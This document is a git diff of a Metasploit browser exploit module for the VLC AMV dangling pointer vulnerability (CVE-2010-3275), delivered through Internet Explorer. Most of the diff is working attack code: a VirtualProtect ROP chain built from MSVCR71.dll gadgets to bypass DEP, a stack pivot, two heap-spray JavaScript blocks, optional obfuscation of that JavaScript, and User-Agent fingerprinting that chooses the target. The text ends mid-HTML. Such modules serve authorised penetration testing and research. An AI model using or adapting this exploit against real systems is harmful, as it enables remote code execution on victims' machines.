diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb index 196efaad97..88214d6cde 100644 --- a/modules/exploits/windows/browser/vlc_amv.rb +++ b/modules/exploits/windows/browser/vlc_amv.rb @@ -20,15 +20,11 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => "VLC AMV Dangling Pointer Vulnerability", 'Description' => %q{ - This module exploits VLC media player when handling a .AMV file. By flipping the 0x41st - byte in the file format (video width/height), VLC crashes due to an invalid pointer, which - allows remote attackers to gain arbitrary code execution. - - The vulnerable packages include: - VLC 1.1.4 - VLC 1.1.5 - VLC 1.1.6 - VLC 1.1.7 + This module exploits VLC media player when handling a .AMV file. By flipping + the 0x41st byte in the file format (video width/height), VLC crashes due to an + invalid pointer, which allows remote attackers to gain arbitrary code execution. + The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also, + please note that IE 8 targets require Java support in order to run properly. }, 'License' => MSF_LICENSE, 'Version' => "$Revision$", @@ -47,8 +43,13 @@ class Metasploit3 < Msf::Exploit::Remote 'Payload' => { 'BadChars' => "\x00", - 'space' => 1000, - 'StackAdjustment' => -3500, + 'space' => 1024, + #Fix the stack before the decoder so we can decode properly + #SUB SP, 0X100; POPAD; POPFD + 'PrependEncoder' => "\x66\x81\xec\x01\x01\x61", + #Fix the stack again so the payload runs properly + #ADD SP,0x61 + 'Prepend' => "\x66\x83\xc4\x61", }, 'DefaultOptions' => { @@ -59,108 +60,215 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', {} ], - [ 'Windows XP SP3 IE6', {'Ret'=>0x0c0c0c0c} ], - [ 'Windows XP SP3 IE7', {'Ret'=>0x1c1c1c1c} ], - [ 'Windows Vista IE7', {'Ret'=>0x0c0c0c0c} ], - [ 'Debug', {'Ret'=>0xCCCCCCCC} ], + [ 'Internet Explorer 6 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ], + [ 'Internet Explorer 7 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ], + [ 'Internet Explorer 8 on XP SP3', { 'Rop' => true, 'TargetAddr' => 0x77025024 } ], + [ 'Internet Explorer 7 on Vista', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ] ], 'DisclosureDate' => "Mar 23 2011", 'DefaultTarget' => 0)) + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) + ], self.class) end - def getRet(cli, request) + def get_target(cli, request) + #Default target + my_target = target + + print_status("User-Agent: #{request.headers['User-Agent']}") if datastore['VERBOSE'] + if target.name == 'Automatic' - agent = request.headers['User-Agent'] - if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ - return [0x0c0c0c0c].pack('V') * 8 + #Windows XP + IE 6 + my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ - return [0x1c1c1c1c].pack('V') * 8 + #Windows XP + 7.0 + my_target = targets[2] + elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ + #Windows XP + IE 8.0 + my_target = targets[3] elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ - return [0x0c0c0c0c].pack('V') * 8 + #Windows Vista + IE 7.0. Win Server 2008 is also NT 6.0 + my_target = targets[4] elsif agent =~ /^vlc/ #VLC identifies itself as "VLC" when requesting our trigger file - return "" + return 'VLC' elsif agent =~ /^NSPlayer/ #NSPlayer is also used while requesting the trigger file - return "" + return 'VLC' else - return nil + #If we don't recognize the client, we don't fire the exploit + my_target = nil end - - else - - #User manually specified a target - return [target.ret].pack('V') * 8 - end + + return my_target end def exploit + #Load trigger file path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-3275.amv") f = File.open(path, "rb") @trigger = f.read f.close + #Set trigger file name + @filename = rand_text_alpha(rand(6) + 3) + super end def on_request_uri(cli, request) - - #Determine if client is a potential victim either manually or automatically, - #and then return the appropriate EIP - nops = getRet(cli, request) - if nops == nil + #Pick the right target + my_target = get_target(cli, request) + if my_target.nil? + print_error("Target not supported") if datastore['VERBOSE'] send_not_found(cli) return end + print_status("URL: #{request.uri.to_s}") if datastore['VERBOSE'] + + #Send the trigger file upon request if request.uri.match(/\.amv/) print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}") send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } ) return end - nopsled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch)) - shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) + #ARCH used by the victim machine + arch = Rex::Arch.endian(my_target.arch) - js_func_name = rand_text_alpha(rand(6) + 3) - js_var_blocks_name = rand_text_alpha(rand(6) + 3) - js_var_shell_name = rand_text_alpha(rand(6) + 3) - js_var_nopsled_name = rand_text_alpha(rand(6) + 3) - js_var_index_name = rand_text_alpha(rand(6) + 3) - js_var_padding_offset = rand_text_alpha(rand(6) + 3) - trigger_file = get_resource() + "/" + rand_text_alpha(rand(6) + 3) + ".amv" + #Generate our payload + if my_target['Rop'] + #IE 8 targets + #mona.py tekniq! + Payload + code = [ + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0x7c37a140, # Make EAX readable + 0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll) + 0x7c348b06, # EBP (NOP) + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0x7c37a140, # <- VirtualProtect() found in IAT + 0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll) + 0x7c346c0b, # Slide, so next gadget would write to correct stack location + 0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll) + 0x7c348b06, # EDI (filler) + 0x7c348b06, # will be patched at runtime (VP), then picked up into ESI + 0x7c348b06, # EBX (filler) + 0x7c376402, # POP EBP # RETN (msvcr71.dll) + 0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll) + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0xfffff82f, # size 20001 bytes + 0x7c351e05, # NEG EAX # RETN (MSVCR71.dll) + 0x7c354901, # POP EBX # RETN (MSVCR71.dll) + 0xffffffff, # pop value into ebx + 0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll) + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll) + 0x7c34d201, # POP ECX # RETN (MSVCR71.dll) + 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) + 0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll) + 0x7c34b8d8, # ROP NOP (-> edi) + 0x7c344f87, # POP EDX # RETN (MSVCR71.dll) + 0xffffffc0, # value to negate, target value : 0x00000040, target: edx + 0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll) + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0x90909090, # NOPS (-> eax) + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll) + ].pack('V*') + + #Append payload after the ROP chain + code << payload.encoded + + #Align and 'jump' to our final payload at 0x0c0c0c0c + ini_stage = [ + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0x0c0c0c0c, # Address of the payload + 0x7C348B05, # XCHG EAX,ESP # RETN (MSVCR71.dll) + ].pack('V*') + + #Add padding to line up the pivot correctly + ini_stage << rand_text_alpha(128-ini_stage.length) + + nops = Rex::Text.to_unescape(rand_text_alpha(4), arch) + code = Rex::Text.to_unescape(code, arch) + pivot = Rex::Text.to_unescape(ini_stage + [my_target['TargetAddr']].pack('V*'), arch) + else + #Non IE 8 targets + nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch) + code = Rex::Text.to_unescape(payload.encoded, arch) + pivot = Rex::Text.to_unescape([my_target['TargetAddr']].pack('V*'), arch) + end + + #First spray overwrites 0x0c0c0c0c with our payload + spray_1 = <<-JS + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{code}"); + var nops = unescape("#{nops}"); + + while (nops.length < 0x1000) nops += nops; + var offset = nops.substring(0, 0x600-0x20); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + + while (shellcode.length < 0x20000) shellcode += shellcode; + var block = shellcode.substring(0, (0x10000-6)/2); + + heap_obj.gc(); + + for (var i=0; i<0x1000; i++) { + heap_obj.alloc(block); + } + JS + + #An invalid pointer gets passed on to libdirectx_plugin!vlc_entry_license__1_1_0g, + #which requires us to fill up the memory as high as 0x303234ca + spray_2 = <<-JS + var padding = unescape("#{nops}"); + var pivot = unescape("#{pivot}"); + + while (padding.length < 0x20000) padding += padding; + var offset2 = padding.substring(0, 0x1ff); + var p = offset2 + pivot + nops.substring(0, 0x800-pivot.length-offset2.length); + + while (p.length < 0x20000) p += p; + var pivot_block = p.substring(0, (0x10000-6)/2); + + for (var i2=0; i2 < 0x2000; i2++) { + heap_obj.alloc(pivot_block); + } + JS + + #Use heaplib + js = heaplib(spray_1 + spray_2) + + #obfuscate on demand + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end + + #Value for the 'Src' parameter of our ActiveX control + trigger_file = get_resource() + "/" + @filename + ".amv" html = <<-EOS
- +